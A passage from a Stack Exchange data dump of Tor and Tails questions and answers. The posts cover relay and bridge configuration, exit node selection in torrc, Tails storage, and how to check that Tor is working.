  <row Id="22365" PostTypeId="2" ParentId="22364" CreationDate="2021-05-06T14:29:43.013" Score="1" Body="&lt;p&gt;There are currently 6 relays running on macOS in the consensus, but I don't think it's an officially supported configuration. There are not many people who run Mac servers, so it probably isn't worth the extra effort to build and maintain a Mac-specific package. I don't think there would be any issues running tor though, just install tor (through homebrew, compile from source, etc), configure your torrc file like on other platforms, and set your Mac to run tor at startup. If you run into any issues, ask a new question here and someone might be able to help.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-05-06T14:29:43.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22366" PostTypeId="2" ParentId="22262" CreationDate="2021-05-06T23:35:42.280" Score="0" Body="&lt;p&gt;With Nyx¹ (formerly tor-arm) you can see the IP, fingerprint and nickname of the Tor relays that form a cirquit. Middle node can see that a bridge is used, but not whether and which pluggable transport is used from the client (Tor-Browser) to the bridge.&lt;/p&gt;&#xA;&lt;p&gt;¹Or other tools that use &lt;a href=&quot;https://stem.torproject.org/tutorials/down_the_rabbit_hole.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem interpreter&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I don't want to show a productive relay. Hence: &lt;a href=&quot;http://www.boldsuck.mynetcologne.de/img/Tor-Nyx-Connections.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Nyx on a hidden service that syncs a blockchain.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32361" LastActivityDate="2021-05-06T23:35:42.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22367" PostTypeId="1" CreationDate="2021-05-07T06:18:42.667" Score="0" ViewCount="1398" Body="&lt;p&gt;While I made some good experiences using Tor on Tails, I was wondering if using Tor on Android makes any sense at all, as I have been strongly advised against using it.&lt;/p&gt;&#xA;&lt;p&gt;After spending some hours reading myself into it, I still can't fully understand the matter and hope someone can clarify here?&lt;/p&gt;&#xA;&lt;p&gt;I read that routing App-Traffic through Orbot is not a bulletproof option, as leaks are still possible. Does it make sense to use a No-Root Firewall to stop Apps like Google from communicating with the Internet or does a so called No-Root Firewall pose a risk itself?&lt;/p&gt;&#xA;&lt;p&gt;After all the main question remains: Should you use TOR on Android if you are in a country where you can face serious consequences for doing certain things that are not illegal in other countries? After my researches, I have a strong feeling Tor on Android isn't a secure thing to use. Can someone confirm or take my worries away?&lt;/p&gt;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="32388" LastEditorUserId="32388" LastEditDate="2021-05-08T04:24:54.490" LastActivityDate="2021-05-08T04:24:54.490" Title="Tor on Android, is it even secure?" Tags="|tor-browser-bundle|configuration|orbot|android|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22368" PostTypeId="1" CreationDate="2021-05-07T07:11:16.063" Score="0" ViewCount="263" Body="&lt;p&gt;How do I find the last time a Tails Encrypted Persistent Storage was accessed? Also is it possible to find the last time Tails was started?&lt;/p&gt;&#xA;" OwnerUserId="32389" LastActivityDate="2021-10-04T15:07:10.680" Title="Tails Encrypted Persistent Storage access time" Tags="|tails|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22369" PostTypeId="2" ParentId="22368" CreationDate="2021-05-07T13:26:07.567" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How do I find the last time a Tails Encrypted Persistent Storage was accessed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here is a way to show the last 10 modified files in your Persistent folder:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;find . -type f -printf '%TF %TT %p\n' | sort | tail -10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(navigate to this folder first, of course)&lt;/p&gt;&#xA;&lt;p&gt;Please note that this command only shows last &lt;em&gt;modifications&lt;/em&gt; (and does not take into account if your file is just read). I hope it will suit your usecase&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-05-07T13:26:07.567" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22370" PostTypeId="2" ParentId="21974" CreationDate="2021-05-07T13:33:55.547" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;are there any security loopholes or anonymity breaches by downloading files from .onion sites to the second USB drive? Are there any give-aways during transmission.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Even if Tails &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#compromised_hardware&quot; rel=&quot;nofollow noreferrer&quot;&gt;can't protect against compromised hardware&lt;/a&gt;, the internal Harddrive is not accessible from Tails by default, so an eventual attacker should not be able to make a copy of your data when transmitting to the second USB stick.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is the usage of encrypted USBs or SDs any better?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Definitively. Tails &lt;a href=&quot;https://tails.boum.org/doc/encryption_and_privacy/encrypted_volumes/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;comes with everything you need&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-05-07T13:33:55.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22371" PostTypeId="2" ParentId="21929" CreationDate="2021-05-07T13:40:51.360" Score="-1" Body="&lt;p&gt;Smartphones based on ARM &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#arm&quot; rel=&quot;nofollow noreferrer&quot;&gt;are not supported yet&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Tails is based on Debian, and the support of smartphone specific issues (like touch screens) is not mature enough and widely supported for now&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-05-07T13:40:51.360" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22372" PostTypeId="2" ParentId="21922" CreationDate="2021-05-07T13:44:12.710" Score="0" Body="&lt;p&gt;Tails is based on Debian so the hardware support is basically the same.&lt;/p&gt;&#xA;&lt;p&gt;You should definitively have a look at &lt;a href=&quot;https://tails.boum.org/support/known_issues/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the known issues&lt;/a&gt;, which lists the problematic hardware.&lt;/p&gt;&#xA;&lt;p&gt;From my experience, Lenovo Thinkpads are perfectly supported.&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-05-07T13:44:12.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22373" PostTypeId="2" ParentId="22338" CreationDate="2021-05-09T01:19:12.103" Score="1" Body="&lt;p&gt;Ok it seems that pacman was the culprit here, not tor.&lt;/p&gt;&#xA;&lt;p&gt;I had a torrc.pacnew file which was causing the problem. I managed to fix it by doing the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mv /etc/tor/torrc.pacnew /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I just added my personal configurations to the file&lt;/p&gt;&#xA;" OwnerUserId="23329" LastActivityDate="2021-05-09T01:19:12.103" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22374" PostTypeId="1" CreationDate="2021-05-09T23:51:53.433" Score="0" ViewCount="111" Body="&lt;p&gt;I don't know why this is happening and I can be sure that it's not Windows Defender because Disk C is excluded so it can't do anything. I've tried resetting my PC and nothing have changed, I think I've tried everything, could someone help me out there?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;5/10/21, 01:00:35.595 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;5/10/21, 01:00:35.595 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;5/10/21, 01:00:35.595 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;5/10/21, 01:00:35.595 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;5/10/21, 01:00:35.596 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;5/10/21, 01:00:35.705 [NOTICE] Bootstrapped 5% (conn): Connecting to a relay&#xA;5/10/21, 01:00:37.911 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay&#xA;5/10/21, 01:00:38.111 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;5/10/21, 01:00:38.666 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;5/10/21, 01:00:38.666 [NOTICE] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection&#xA;5/10/21, 01:00:39.135 [NOTICE] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus&#xA;5/10/21, 01:00:39.412 [NOTICE] Bootstrapped 30% (loading_status): Loading networkstatus consensus&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MSVCF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSVCF.png&quot; alt=&quot;This is the problem&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32405" LastEditorUserId="24966" LastEditDate="2021-05-10T01:11:21.413" LastActivityDate="2022-01-28T22:03:55.383" Title="Tor Unexpectedly Exited (Windows 10)" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22376" PostTypeId="1" CreationDate="2021-05-10T18:46:35.570" Score="1" ViewCount="601" Body="&lt;p&gt;How is it that I can host multiple (static) hidden services on one server?&#xA;I am just needing 3 simple and static HTML sites with their own .onion?&#xA;If I add multiple HiddenServiceDir do they have to be on different ports or can they be on the same? There will not be a large amount of traffic going to the hidden services.&lt;/p&gt;&#xA;" OwnerUserId="32001" LastActivityDate="2022-05-12T21:37:06.487" Title="Multiple hidden services on one server" Tags="|configuration|onion-services|onion-routing|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22377" PostTypeId="1" AcceptedAnswerId="22378" CreationDate="2021-05-10T19:12:32.593" Score="0" ViewCount="731" Body="&lt;p&gt;Some people might benefit if they can deanonymze Tor users - law enforcement could catch criminals faster if they had control of the Tor network. Hackers also might want to deanonymze Tor users. But has anyone actually tried to deanonymize Tor users yet?&lt;/p&gt;&#xA;" OwnerDisplayName="user32230" LastEditorUserId="31632" LastEditDate="2021-05-10T19:24:37.993" LastActivityDate="2021-05-11T11:50:59.953" Title="Has anyone attempted to deanonymze users using the Tor network?" Tags="|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22378" PostTypeId="2" ParentId="22377" CreationDate="2021-05-10T19:51:58.923" Score="0" Body="&lt;p&gt;Yes, people have tried to deanonymize Tor users. Some may or may not have succeeded.&lt;/p&gt;&#xA;&lt;p&gt;This has been attempted in several ways including:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Traffic analysis (e.g. timing correlation attacks)&lt;/li&gt;&#xA;&lt;li&gt;Vulnerabilities in the Tor browser (e.g. JavaScript exploits)&lt;/li&gt;&#xA;&lt;li&gt;0 day exploits&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;So who is trying to deanonymize Tor users?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Law enforcement agencies around the world have tried to deanonymize Tor users and take control the Tor network to catch criminals.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Many governments have been working to deanonymize Tor users as well. For instance, Russia is trying to deanonymize Tor (&lt;a href=&quot;https://www.darkreading.com/attacks-breaches/russia-attempted-to-de-anonymize-tor-browser-report/d/d-id/1335320&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.darkreading.com/attacks-breaches/russia-attempted-to-de-anonymize-tor-browser-report/d/d-id/1335320&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There was also the attack by some Carnegie Mellon University researchers who worked with the FBI to crack Tor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And many other organizations we may or may not know about.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Check out:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://restoreprivacy.com/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://restoreprivacy.com/tor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://resources.infosecinstitute.com/topic/hacking-tor-online-anonymity/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://resources.infosecinstitute.com/topic/hacking-tor-online-anonymity/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.techradar.com/news/tor-browser-is-wrestling-with-a-major-security-problem&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techradar.com/news/tor-browser-is-wrestling-with-a-major-security-problem&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-11T11:50:59.953" LastActivityDate="2021-05-11T11:50:59.953" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22382" PostTypeId="1" CreationDate="2021-05-12T17:12:54.993" Score="1" ViewCount="573" Body="&lt;p&gt;Ubuntu 20.4 - Digital Ocean Droplet Tor Bridge Relay&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Pluggable Transport process terminated with status code 256&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Anyone have a suggestion for the solution of this tor bridge puzzle?&#xA;As a relay (minus bridge settings) the settings below has been up and running for almost two months.&lt;/p&gt;&#xA;&lt;p&gt;torrc&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0&#xA;RunAsDaemon 1&#xA;ORPort xxx.xxx.xxx.xxx:7669&#xA;BridgeRelay 1&#xA;BridgeRecordUsageByCountry 1&#xA;ServerTransportPlugin obfs4 exec /user/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:1111&#xA;ExtORPort auto&#xA;Nickname me&#xA;ContactInfo me@mail.com &#xA;Log notice file /var/log/tor/notices.log&#xA;Log Debug file /var/log/tor/debug.log&#xA;ExitPolicy reject *:*&#xA;RelayBandwidthRate &#xA;RelayBandwidthBurst &#xA;DisableDebuggerAttachment 0&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thank you for your help! &amp;gt; Adriann&lt;/p&gt;&#xA;" OwnerUserId="19670" LastEditorUserId="24966" LastEditDate="2021-05-12T18:02:45.653" LastActivityDate="2021-05-12T18:02:45.653" Title="obfs4proxy error" Tags="|configuration|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22383" PostTypeId="1" AcceptedAnswerId="22409" CreationDate="2021-05-12T18:54:24.193" Score="1" ViewCount="337" Body="&lt;p&gt;How do I run an exit node anonymously? By anonymously, I mean that nobody can identify who created or runs the exit node. I know that the IP addresses of exit nodes will be publicly available, so I am assuming that I will have to run the exit node somewhere far away from my location. But I need more clarification on how to exactly do this.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-12T19:07:19.563" LastActivityDate="2021-05-22T11:14:28.163" Title="How to run an exit node anonymously?" Tags="|anonymity|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22386" PostTypeId="1" CreationDate="2021-05-13T15:19:48.073" Score="1" ViewCount="258" Body="&lt;p&gt;I am trying to register for a store to buy something and every time I try to register (or log in) I get a blank page. The site extension is always a &lt;code&gt;register.php&lt;/code&gt; or a &lt;code&gt;login.php&lt;/code&gt; and the URL will show the actual URL but the page is blank. Example screenshot below. I've tried with multiple stores and this is the case for every one of them. My security setting is set to standard and I'm not connected to any other VPN of any kind. Any ideas? FWIW I'm new to Tor and browsing onions in general. Here is the specific site I tried, but even more trusted services like TorShop are causing the same exact issue. Any ideas?&lt;/p&gt;&#xA;&lt;p&gt;Onion Link: &lt;a href=&quot;http://2ezyofc26j73hv3xxvsrnbc23dqxhgxqtk5ogcc7y6j5t6rlqquvhzid.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://2ezyofc26j73hv3xxvsrnbc23dqxhgxqtk5ogcc7y6j5t6rlqquvhzid.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m90BI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m90BI.png&quot; alt=&quot;Tor Screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32439" LastActivityDate="2022-02-07T22:57:33.173" Title="Blank page on register.php or login.php links when registering for a store" Tags="|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22387" PostTypeId="2" ParentId="22386" CreationDate="2021-05-13T18:14:04.783" Score="1" Body="&lt;p&gt;For me, the website's login and registration pages show correctly (e.g. the registration page looks like this: &lt;a href=&quot;https://i.stack.imgur.com/8S7HV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8S7HV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Perhaps a setting in the Tor browser was accidentally altered for you (maybe the browser was accidentally configured to block PHP, I don't know). Do you have an additional addons installed on the Tor Browser that weren't there by default?&lt;/p&gt;&#xA;&lt;p&gt;I recommend uninstalling, then reinstalling the Tor browser and seeing if it works.&#xA;If that doesn't work, then it is likely that some other software application is interfering with the Tor Browser. You could try disabling software which you think might be an issue, but that might not solve the issue.&lt;/p&gt;&#xA;&lt;p&gt;If none of these work, then report the issue to the Tor Project's Gitlab. They might be able to help. Here is the link: &lt;a href=&quot;https://gitlab.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="88" LastEditDate="2022-02-07T22:57:33.173" LastActivityDate="2022-02-07T22:57:33.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22388" PostTypeId="1" CreationDate="2021-05-13T21:09:24.067" Score="0" ViewCount="300" Body="&lt;p&gt;I'm testing the TOR browser bundle and I keep getting connected to exit nodes in countries that I've explicitly excluded in my &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;&#xA;ExcludeExitNodes {ad},{ar},{au},{at},{bs},{by},{be},{br},{io},{vg},{bg},{ca},{ky},{cl},{hr},{cy},{cz},{dk},{ee},{fk},{fi},{fr},{fx},{gf},{pf},{tf},{ge},{de},{gi},{gr},{gl},{gu},{hu},{is},{in},{ie},{im},{il},{it},{jp},{lv},{li},{lt},{lu},{mt},{mh},{mx},{mc},{an},{nl},{nz},{nf},{no},{pa},{pl},{pt},{re},{ro},{ru},{sa},{uk},{rs},{sg},{su},{es},{sh},{kn},{lc},{pm},{vc},{sj},{se},{ch},{tr},{ua},{gb},{us},{um},{va},{vi},{??}&#xA;&#xA;ExcludeNodes {ad},{ar},{au},{at},{bs},{by},{be},{br},{io},{vg},{bg},{ca},{ky},{cl},{hr},{cy},{cz},{dk},{ee},{fk},{fi},{fr},{fx},{gf},{pf},{tf},{ge},{de},{gi},{gr},{gl},{gu},{hu},{is},{in},{ie},{im},{il},{it},{jp},{lv},{li},{lt},{lu},{mt},{mh},{mx},{mc},{an},{nl},{nz},{nf},{no},{pa},{pl},{pt},{re},{ro},{ru},{sa},{uk},{rs},{sg},{su},{es},{sh},{kn},{lc},{pm},{vc},{sj},{se},{ch},{tr},{ua},{gb},{us},{um},{va},{vi},{??}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In at least 1/3 of all cases, my exit nodes are from the Netherlands, Italy or Russia. How are the &lt;code&gt;torrc&lt;/code&gt; settings overruled and is there any way to enforce them?&lt;/p&gt;&#xA;" OwnerUserId="32442" LastActivityDate="2021-05-14T15:10:27.870" Title="Why do I get connected to TOR nodes that I excluded in TORRC?" Tags="|configuration|exit-relays|guard-node|node|information-leaks|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22392" PostTypeId="1" CreationDate="2021-05-14T18:40:20.133" Score="0" ViewCount="349" Body="&lt;p&gt;I'm new to Tor and installed it and torsocks on a fresh ubuntu machine. I've set up and configured the torrc file with the following parameters:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes A0C59410B9030AC1385C4CA44C8DBFE13AF4BC9B&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;my aim is to use an exitpoint in the UK to access UK traffic, I have previously also tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {gb}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, when I check what my IP is using the command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 127.0.0.1:9050 https://check.torproject.org |&amp;amp; grep -Po &amp;quot;(?&amp;lt;=strong&amp;gt;)[\d\.]+(?=&amp;lt;/strong)&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the IP address that I get back is not in the UK. it usually ends up being an IP in France or Germany. I have of course also restarted the tor service through terminal but that does not make any difference either. I was under the impression that it would try to connect to the specified endpoint or timeout otherwise. Am I missing something obvious? None of the other similar questions that have been asked about this previously are not working for me either.&lt;/p&gt;&#xA;&lt;p&gt;I was using tor version 0.3.* but I tried upgrading to 0.4.5.8 and am still running into the same issue.&lt;/p&gt;&#xA;" OwnerUserId="32451" LastEditorUserId="24966" LastEditDate="2021-05-14T20:35:35.113" LastActivityDate="2022-05-12T13:56:47.050" Title="Tor ExitNodes not working in the torrc?" Tags="|configuration|ip-address|exit-policies|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22395" PostTypeId="2" ParentId="22342" CreationDate="2021-05-15T08:09:07.073" Score="1" Body="&lt;p&gt;Nick Mathewson answered the question here: &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/40386#note_2735298&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/tor/-/issues/40386#note_2735298&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;That sounds plausible to me.  I'd suggest adding a step 0: make sure that the path is somewhere randomly generated that only you have write access, to eliminate the risk of somebody else writing to it. (Using &lt;code&gt;mkstemp&lt;/code&gt; or similar should take care of that part.)&lt;/p&gt;&#xA;&lt;p&gt;You might also want to monitor the Tor process that you launched, in case it exits for some reason before it can open this port.&lt;/p&gt;&#xA;&lt;p&gt;If you're writing your program for a unix-like operating system, you might consider using &lt;code&gt;OwningControllerFd&lt;/code&gt; instead: it provides an easier method to start Tor with a connection to an open control port.&#xA;Hope this helps!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Edit: Upon further research, it seems that one only watch until the Tor control port file exists because what Tor does (implementation detail!) is:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/torproject/tor/blob/e247aab4eceeb3920f1667bf5a11d5bc83b950cc/src/feature/control/control.c#L159&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/tor/blob/e247aab4eceeb3920f1667bf5a11d5bc83b950cc/src/feature/control/control.c#L159&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/torproject/tor/blob/0cf3ab54f6701e37a28a3ad06d4dae1d7a031007/src/lib/fs/files.c#L337&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/tor/blob/0cf3ab54f6701e37a28a3ad06d4dae1d7a031007/src/lib/fs/files.c#L337&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Meaning, Tor creates a temporary file (your specified file with &lt;code&gt;.tmp&lt;/code&gt; suffix), writes to it and rename to your specified file.&lt;/p&gt;&#xA;" OwnerUserId="32242" LastEditorUserId="32242" LastEditDate="2021-05-19T13:09:45.363" LastActivityDate="2021-05-19T13:09:45.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22397" PostTypeId="2" ParentId="22337" CreationDate="2021-05-16T02:26:37.687" Score="0" Body="&lt;p&gt;One thing to watch out for: some feed and reader combinations will automatically update the source and overwrite the local URL (useful for subscribing to site that has no obvious feed URL but detrimental in this case.)&lt;/p&gt;&#xA;&lt;p&gt;Some other notes:&lt;/p&gt;&#xA;&lt;p&gt;In the comments in RSSNSA.py it has 'seconds - hours' in the wrong order above the delay example table.&lt;/p&gt;&#xA;&lt;p&gt;On startup the program updates all feeds without randomizing. Not ideal. An improvement might be an option to update on startup or not. (I just edited my local copy to my liking).&lt;/p&gt;&#xA;&lt;p&gt;By changing torport to 9150, you should be able to use an already running Tor Browser rather than starting up tor service separately. Might a nice option for some.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, nifty little program. Thanks for posting.&lt;/p&gt;&#xA;" OwnerUserId="32466" LastActivityDate="2021-05-16T02:26:37.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22398" PostTypeId="1" CreationDate="2021-05-16T17:51:04.893" Score="2" ViewCount="676" Body="&lt;p&gt;Can someone explain what I have to configure to get tor working over ipv6 on client-side?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ torify telnet -6 www.google.com 80&#xA;telnet: could not resolve www.google.com/80: Non-recoverable failure in name resolution&#xA;&#xA;$ torify telnet -6 2a00:1450:4001:811::2004 80&#xA;Trying 2a00:1450:4001:811::2004...&#xA;1621180047 PERROR torsocks[2621]: socks5 libc connect: Invalid argument (in socks5_connect() at socks5.c:202)&#xA;telnet: Unable to connect to remote host: Invalid argument&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="32473" LastActivityDate="2021-05-16T17:51:04.893" Title="Using Tor over IPv6" Tags="|configuration|torsocks|ipv6|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22400" PostTypeId="1" CreationDate="2021-05-17T14:21:49.353" Score="1" ViewCount="798" Body="&lt;p&gt;I have been thinking lately how to check correctly whether Tor is actually working or not in an application that sends HTTP requests over Tor. I'm aware that this question is somewhat fuzzy because one needs to define &amp;quot;Tor is working&amp;quot; (and when &amp;quot;It is not working&amp;quot;) and in networking world this is not an easy question.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, I've come up with the following list of thoughts what one can do:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check that Tor OS process is running &lt;em&gt;[Quick heuristic]&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Remember the last time an HTTP request went through Tor successfully &lt;em&gt;[May help when an app sends HTTP requests somewhat periodically]&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check whether Tor is working using Tor control (&lt;a href=&quot;https://tor.stackexchange.com/questions/19858/how-to-check-if-tor-socks-proxy-is-working-programatically-python&quot;&gt;source&lt;/a&gt;)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Send &lt;code&gt;GETINFO status/circuit-established&lt;/code&gt; request to find out whether a circuit was established or not.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm not sure about semantics here. Is it &amp;quot;Is a circuit established now?&amp;quot; or &amp;quot;Was ever a circuit established?&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Send &lt;code&gt;GETINFO traffic/read&lt;/code&gt; and &lt;code&gt;GETINFO traffic/written&lt;/code&gt; requests to find out whether some data got through.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;note: Maybe a user can write some data but nothing comes back or there is no traffic at all.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Send HTTP request with URL &lt;code&gt;check.torproject.org&lt;/code&gt; to verify Tor is really running&#xA;&lt;ul&gt;&#xA;&lt;li&gt;May have false negatives because:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Not all exits exit from their advertised IP addresses, the Tor Project probes each exit periodically but some of them change the IP they exit from semi-frequently. This means that the check.tpo site will think it's not a Tor IP address in a small number of cases and report that you aren't using Tor when infact you are.&lt;/em&gt; (&lt;a href=&quot;https://tor.stackexchange.com/questions/12678/how-to-check-if-tor-is-working-and-debug-the-problem-on-cli#comment13918_13079&quot;&gt;source&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;This sounds like a bad idea to me because it strains Tor network 